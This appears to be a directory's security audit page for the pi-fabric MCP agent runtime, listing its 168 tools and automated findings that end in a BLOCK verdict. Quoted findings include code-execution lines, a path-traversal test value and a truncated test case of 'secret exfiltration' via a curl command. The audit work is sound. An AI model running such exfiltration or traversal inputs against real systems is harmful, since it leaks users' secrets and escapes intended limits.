Atlas / MCP servers / monotykamary / pi-fabric

pi-fabricBLOCK

Name: pi-fabric
Author: monotykamary

mcp/monotykamary/pi-fabric

MCP server by monotykamary · agents · coding agent · mcp · Audited 2026-10-12

⚑ Report / re-scan Source ↗

A programmable tool and agent runtime for Pi

Verdict

BLOCK

Grade

Trust score

44 /100

Exposed tools

168 126r · 32w · 10d

Transport

—

License

MIT

Stars

284

Overview

From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.

A programmable tool and agent runtime for [Pi](https://github.com/earendil-works/pi-coding-agent)

One program for tools, MCP, agents, workflows, actors, mesh, councils, and recursion.

[](https://www.npmjs.com/package/pi-fabric) [](https://arcprize.org/scorecards/d4c56c67-136b-4643-b648-62ae28fe2a54) [](https://github.com/fabric-runtime/pi-fabric/actions/workflows/test.yml) [](https://github.com/earendil-works/pi-coding-agent) [](LICENSE) [](https://opencollective.com/pi-fabric)

🏆 100% on ARC-AGI-3. A Fabric-powered agent won all 25 environments in one 22.4-hour session with 4 minutes of human time ($1,349 in model spend).

Fabric gives Pi one programmable tool called fabric_exec, which composes core tool

Read from source at commit cc8b45678eb0OBSERVED · 2026-10-12

Connect

Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control. Replace the environment placeholders with a token scoped to the least it needs.

claude-code

claude mcp add pi-fabric --env FABRIC_IPC_TOKEN=${FABRIC_IPC_TOKEN} --env FABRIC_TEST_SECRET=${FABRIC_TEST_SECRET} --env JOINED_PASS=${JOINED_PASS} -- npx -y [email protected]

claude-desktop

{
  "mcpServers": {
    "pi-fabric": {
      "command": "npx",
      "args": [
        "-y",
        "[email protected]"
      ],
      "env": {
        "FABRIC_IPC_TOKEN": "${FABRIC_IPC_TOKEN}",
        "FABRIC_TEST_SECRET": "${FABRIC_TEST_SECRET}",
        "JOINED_PASS": "${JOINED_PASS}"
      }
    }
  }
}

Exposed tools (168)

126 read · 32 write · 10 destructive. Blast radius: 10 tools can delete or overwrite — an agent that can be talked into calling a tool can be talked into calling this one.

Tool	Risk	Description
`Inspect`	read	phase-description-secret
`Lifecycle`	read	configure-description-secret
`Probe`	read	check
`abort`	read	Abort an uncommitted same-invocation hypothesis and optionally its active certificate
`act`	write	Apply a synthetic control
`active`	read	Active workflow
`actorStatus`	read	Read one persistent actor
`actors`	read	List persistent actors. Default scope
`adopt`	read	Attach an existing jev-fabric job from tasks.external to this session as a durable task: its output, completion notification, wait/stop and inspector row. Adopting does not restart or signal the process.
`agents`	read	Fabric host-authorized Pi agents
`allowed`	read	allowed
`answer`	read	Answer an open decision held by this participant (root or supervisor:<id>); never decisions held by \
`arena`	read	Deterministic arena fixture
`ask`	write	Send a message to a persistent actor through its live owner and wait for its next response. Optional model/thinking values apply only to this activation.
`ask_user`	read	Ask
`authoritysmoke`	read	Bundled capability-view check
`bash`	write	Execute a shell command
`bench`	read	Dispatch benchmark
`call`	read	demo call
`cancel`	destructive	Clear a pending compaction intent before the host commits it
`carry`	write	Read or update the persistent carry-forward focus list that Fabric
`checkGoal`	write	Run the goal predicate and report pass/fail; publishes state.goal.met when it passes
`classify`	read	Answer typed questions using the native Pi classifier registry.
`classify_result`	write	Report whether the exact Fabric action may run without human approval
`cleanup`	destructive	Remove a completed agent
`clearMessages`	destructive	Clear a persistent actor
`closeInput`	write	Send EOF to an interactive child
`commit`	write	Consume one same-invocation certificate and atomically attempt bounded declared-file operations with rollback and postconditions
`commute`	read	Commutative effects
`compact`	read	Request an advisory compaction of a running Pi-runner child agent
`complexity`	read	Count current structural decision points and compare them with the complexity ledger
`control`	write	Apply a timed motor pulse
`create`	write	Create a persistent actor with independently selected session or project storage. Use scope
`decisionProviders`	read	List native decision adapter presets and capabilities offline. These are not verified live models or credential checks.
`delegate`	read	Delegate-like provider
`delete`	destructive	Delete shared mesh state, optionally with compare-and-swap version checking
`demo`	read	Demo provider
`dependency`	read	Required dependency
`describe`	read	Inspect a registered component definition, its config JSON Schema, declared requirements/provisions, and instances, even before activation.
`devicefixture`	read	An arbitrary external connector
`disabled`	read	hidden
`docs-api.other`	read	Precise description: other
`doom`	read	Deterministic engine fixture
`echo`	read	Echo a string
`echo-value`	read	Echo a value
`effect`	read	unsafe side effect
`effects`	read	Effect conflicts
`emit`	read	Emission provider
`escalate`	read	Pass an open decision this participant holds to the next holder in its escalation chain now
`evaluate`	read	Ask Jev typed Choice, Noul (probability of yes), and Score questions over shared state. No generated text. Batch independent questions. Sends state to TypeSafe and consumes API credits; no automatic retries.
`events`	read	Retained jev-fabric events after a sequence cursor, optionally long-polled.
`example`	read	example
`expand`	read	Read exact normalized session entries and nearby context as bounded lossless chunks. Call tools.call(next) to continue, or use guest-side memory.walk(args, visitor) to traverse complete reassembled entries.
`export`	read	Export a live project actor
`extensions`	read	fake extensions
`external`	read	List jev-fabric jobs in this session
`fabric_exec`	write	Fabric
`find.item`	read	Precise description: find.item
`fixture`	read	Connector-neutral offline capability fixture
`flaky-ping`	read	Ping from a serve-once fixture
`followUp`	read	Queue a follow-up for Main or a running one-shot agent, or enqueue a persistent actor mailbox message. The stable id alias main targets the root user-facing Pi session. Non-local targets route over the project mesh.
`forbidden`	read	forbidden
`generateImages`	read	Generate images using the native Pi image registry.
`get`	read	Read a versioned value from shared mesh state
`get-model-schema`	read	Return a model schema
`getModelOfType`	read	Find a native Pi model.
`github.get_repo`	read	Get a GitHub repository
`goal`	write	Set the executable goal predicate (Schema
`grant`	write	Mint a scoped token that lets an outside process post untrusted events to one topic through
`grants`	read	List unexpired external mesh grants (never tokens)
`graph`	read	Inspect component requirement/provision edges and detected dependency cycles.
`grep`	read	Search source files for matching text
`handoff`	write	Schedule a Pi trajectory handoff after the current outer fabric_exec result, then wait for implementation at that boundary
`history`	read	Fold the transition log from its representation archive boundary into an ordered label graph
`hold`	read	hold
`hypothesize`	read	Durably bind a falsifiable hypothesis and nonempty typed evidence to the current state and workspace
`import`	write	Import a project-independent template from the global registry into the current project as a fresh live actor with no inherited history (no messages, session, or run logs). Identify the template by id or name; optionally rename the imported actor with \
`inspect`	read	Inspect stored records
`items`	read	Read synthetic items
`jev`	read	fake jev
`join`	read	Alias for agents.wait: wait for a previously spawned child agent with the same progress and completion-notification behavior
`lease`	read	Host-component scoped cache hold; use context.acquire, not tools.call. Disposal releases only this interest; paid usage is irreversible. Same native capability and bounds as cache.hold.
`legacy`	read	Legacy provider
`list`	read	List agent participants locally, across the current lineage, or across the project
`livefixture`	read	Synthetic live provider
`load`	read	Read the branch-local JSON script store.
`log`	write	Read an actor or agent run
`main`	read	Return the root user-facing Main Pi agent target. The stable alias main is also accepted by agents.steer and agents.followUp.
`manual-only`	write	Run only when explicitly invoked.
`mcp`	read	Mock MCP provider
`mcp__docs-api`	read	Server instructions
`mcp__late-api`	read	Late server instructions
`members`	read	List the unified project topology of roots, agents, and actors
`memory`	read	Retrieve explicitly authorized session memory.
`messages`	read	Read a persistent actor
`misleading`	read	claims read
`models`	read	List models exposed by the selected runner. Claude models are enumerated from the installed Claude Code runtime, not hard-coded.
`mutable`	read	Mutable catalog
`mutate`	read	mutate one value
`observe`	read	Observe a synthetic browser screen
`open`	read	open
`owned`	read	Owned resource
`peers`	read	List other live root Pi sessions sharing this project mesh. The dashboard-owning session remains Main; these targets are named peers.
`pi`	read	Pi tools
`pick`	read	Pick a session
`ping`	read	emit rapid progress
`plan`	read	Validate a component configuration change without activation or file writes. Returns a request and revision for apply, changes, trust provenance, and warnings. A plan is not approval or a connectivity check.
`pressure`	read	Read host context pressure: tokens, window, fraction, headroom, band (ok/warn/urgent/unknown), output reserve, configured threshold, and the observed compaction owner
`probe`	read	Probe normalization stages
`project_status`	read	Report project status
`proofsmoke`	read	Bundled conflict gate smoke
`publish`	write	Append a durable event to a mesh topic, optionally addressed to one actor. notBefore (epoch ms or ISO) or afterMs schedules it instead; key makes the schedule replaceable
`put`	write	Write shared mesh state, optionally with compare-and-swap version checking
`raise`	write	Create a durable open decision (approval, question, or escalation) for a human or holder to answer; returns { id }
`read`	read	Read a local file
`recall`	read	Search historical session memory
`reconcile`	read	Re-read trusted component configuration and reconcile changed instances without restarting unrelated providers. Session overrides remain. Invalid edits retain the last applied state. Unavailable to committed guest views.
`release`	write	Idempotently release a session-owned cache hold. Does not disable native settings or another owner
`release-risk`	read	Review launch plans for operational risk.
`reload`	write	Restart one component, or all loaded components, with rollback to the previous revision on activation failure.
`remove`	destructive	Stop and remove a persistent actor. Default scope
`request`	read	Request an advisory compaction of the host session
`reset`	destructive	End any Fabric thinking override and restore the baseline level
`resolveDecision`	read	Resolve a per-call decision target offline before credentials. No model requests or key lookup; returns target, unresolved credential env, image support, generated flag and selected profile only.
`resume`	read	Continue a paused, completed or failed direct child from its host checkpoint and wait for result or pause
`review`	read	Review <plans> &
`revoke`	destructive	Revoke a scoped external mesh grant
`run`	write	Delegate work to a background agent
`sample`	read	Third-party device fixture
`save`	write	Save a program as a content-addressed candidate; identical content returns the same ref. Returns { ref: \
`scheduled`	read	List pending scheduled mesh events by due time
`schema`	read	approval probe
`self`	read	Return this caller
`sessions`	read	List all live root Pi session agents in the project, including the current lineage root and peers, with symmetric participant identities.
`set`	write	Temporarily change the host session
`setDeliveryPolicy`	read	Replace a project actor or global template delivery policy. steer/followUp require an explicit triggerTurn choice; mailbox/nextTurn require false.
`setEvents`	read	Replace a persistent actor
`setFollowUpMode`	write	Set how queued follow-up messages are delivered to a one-shot agent: all when it finishes, or one per completion (default). Local agent only.
`setInstructions`	read	Replace an actor\
`setModel`	destructive	Change or clear a persistent actor model binding. Session scope is the default; project scope explicitly pins the shared definition default.
`setSteeringMode`	write	Set how queued steer messages are delivered to a running one-shot agent: all at once after the current turn, or one per turn (default). Local agent only.
`setThinking`	destructive	Change or clear a persistent actor reasoning-effort binding. Session scope is the default; project scope explicitly pins the shared definition default.
`setTools`	read	Replace a persistent actor
`slow`	read	slow call
`slowext`	read	captured extension stub
`spawn`	read	Observe future Main lifecycle events and explicitly selected content for a bounded Jev program
`spec`	read	scope test provider
`start`	write	Start detached work
`state`	write	Write
`status`	read	Get the latest status of any known project participant. A terminal child-agent result acknowledges its pending completion notification; running status does not.
`steer`	read	Steer Main, a running one-shot agent between turns, or a persistent actor through its mailbox. The stable id alias main targets the root user-facing Pi session. Non-local targets route over the project mesh.
`stop`	write	Stop a local or remotely owned agent or actor that advertises the stop capability
`storage`	read	Filesystem discovery capabilities
`store`	read	Stage branch-local JSON state; committed only after successful execution.
`stream`	read	emit progress on demand
`subagent`	read	captured extension stub
`subscribe`	write	Create a durable source-qualified participant lifecycle subscription. Events are delivered to Main by default or to another participant through steer/follow-up routing.
`subscriptions`	read	List durable participant lifecycle subscriptions, optionally filtered by source or target
`svc`	read	Law-test service
`switchModel`	read	Switch Main
`tell`	read	Queue a message through a persistent actor
`transition`	read	Append a labeled, validated state transition and compare-and-swap advance the head
`unschedule`	read	Cancel a pending scheduled mesh event by key
`unsubscribe`	destructive	Remove a participant lifecycle subscription
`value`	read	Fixture value
`verify`	read	Fail-closed verification that may issue one fresh invocation-bound single-use certificate
`wait`	read	Wait for a previously spawned child agent and acknowledge its result, suppressing a duplicate completion notification
`write`	write	Append text to an interactive child

Trust audit

BLOCKgrade F · trust 44/100 Do not install this without reading the findings. The audit found something that could harm you or your machine.

Layer	What it checks	Result
L0	Provenance & inventory	FAIL
L1	Static analysis of the code	FAIL
L2	Instruction surface (what it tells the agent)	FAIL
L3	Class-specific surface	WARN
L4	Behavioural (sandbox)	SKIPPED

What the source does

Filesystem: declared (7 observation(s))
Network: declared (2 observation(s))
Shell: declared (4 observation(s))
Dependencies: not all pinned
Secrets in source: found

Findings (25)

HIGHInventory / provenance · inv.suspicious_name · CWE-1104

src/actors/host-event-payload.ts

host-event-payload.ts

Why it matters. member named after an attack tool

Fix. remove or justify

HIGHCode injection · code.eval_exec · CWE-78, CWE-94, CWE-95

src/runtime/cpython-child-source.ts:263

exec(compile(program, "fabric-exec.py", "exec"), namespace)

Why it matters. evaluates text as code

Fix. remove; use a parser or a dispatch table

HIGHPrompt injection · prompt.credential_read · CWE-94, CWE-1427

skillsets/python/fabric-jev/SKILL.md:18

2. Inspect `await tools.call(ref="jev.status")`. Only if an authorized judgment needs missing auth, ask the user to use `/login jev` on Pi 0.85.1+ or configure host-side `TYPESAFE_API_KEY`/`jev.creden

Why it matters. asks the agent to read credentials

HIGHPrompt injection · prompt.credential_read · CWE-94, CWE-1427

skillsets/typescript/fabric-jev/SKILL.md:17

3. Only if an authorized judgment needs missing credentials, ask the user to use `/login jev` (Pi 0.85.1+) or configure host-side `TYPESAFE_API_KEY` or `jev.credentialCommand`. OpenRouter-routed ids (

Why it matters. asks the agent to read credentials

MEDIUMObfuscation / stealth · obf.homoglyph · CWE-506, CWE-94

scripts/certification/run-context.mjs:27

const RARE_FACT = "Pinned fact: quasarneedle_7f91 maps to Ωmega雪 and port 43117.";

MEDIUMObfuscation / stealth · obf.homoglyph · CWE-506, CWE-94

scripts/certification/run-context.mjs:469

const coldRareFact = "cold_exact_quasar_7f91 Ωmega雪 address=43117";

MEDIUMHard-coded secrets · secret.generic · CWE-798, CWE-321

tests/shell-middleware.test.ts:15

const SECRET = "fabric-test-secret-not-a-credential";

MEDIUMHard-coded secrets · secret.generic · CWE-798, CWE-321

tests/ui-transcript.test.ts:174

apiKey: "sk_test_secret_value",

MEDIUMFilesystem / path · mcp.destructive_tools · CWE-22, CWE-59

cancel, cleanup, clearMessages, delete, remove, reset, revoke, setModel, setThinking, unsubscribe

Why it matters. 10 tool(s) can delete or overwrite

Fix. prefer a read-only mode or scoped tokens; the page states the blast radius

LOWInventory / provenance · inv.suspicious_name · CWE-1104

tests/monty-payload-preflight.test.ts

monty-payload-preflight.test.ts

Why it matters. member named after an attack tool

Fix. remove or justify

LOWCode injection · code.eval_exec · CWE-78, CWE-94, CWE-95

tests/memory-worker-integration.test.ts:195

const result = await exec(process.execPath, ["--input-type=module", "-e", program], { timeout: 5_000 });

Why it matters. evaluates text as code

Fix. remove; use a parser or a dispatch table

LOWInsecure crypto · crypto.weak_hash · CWE-327, CWE-338

src/memory/index.ts:73

const hash = crypto.createHash("sha1").update(sessionFile).digest("hex").slice(0, 16);

LOWInsecure crypto · crypto.weak_hash · CWE-327, CWE-338

src/prewalk/fs-drift.ts:280

sha1 = createHash("sha1").update(await readFile(path.join(root, file))).digest("hex");

LOWFilesystem / path · fs.traversal · CWE-22, CWE-59

bench/prewalk/benchmark-prewalk.mjs:15

import { createPassiveHostSession } from "../../scripts/lib/passive-host-session.mjs";

LOWFilesystem / path · fs.traversal · CWE-22, CWE-59

bench/prewalk/tests/prewalk-benchmark-tools.test.ts:24

const projectRoot = path.resolve(path.dirname(fileURLToPath(import.meta.url)), "../../..");

LOWFilesystem / path · fs.traversal · CWE-22, CWE-59

bench/prewalk/tests/prewalk-canary-abort.test.ts:8

const projectRoot = path.resolve(path.dirname(fileURLToPath(import.meta.url)), "../../..");

LOWFilesystem / path · fs.traversal · CWE-22, CWE-59

bench/prewalk/tests/prewalk-canary-task-check.test.ts:8

const projectRoot = path.resolve(path.dirname(fileURLToPath(import.meta.url)), "../../..");

LOWFilesystem / path · fs.traversal · CWE-22, CWE-59

bench/prewalk/tests/prewalk-canary-task-check.test.ts:118

["escape", '{"testFile":"../../a.test.mjs"}'],

LOWNetwork egress · net.beacon_words · CWE-200, CWE-319

tests/jev-live.test.ts:64

{ name: "secret exfiltration with hostile instructions", risk: "execute" as const, nameRef: "bash", intent: "Run local tests only. Do not send data outside this machine.", args: { command: "curl --dat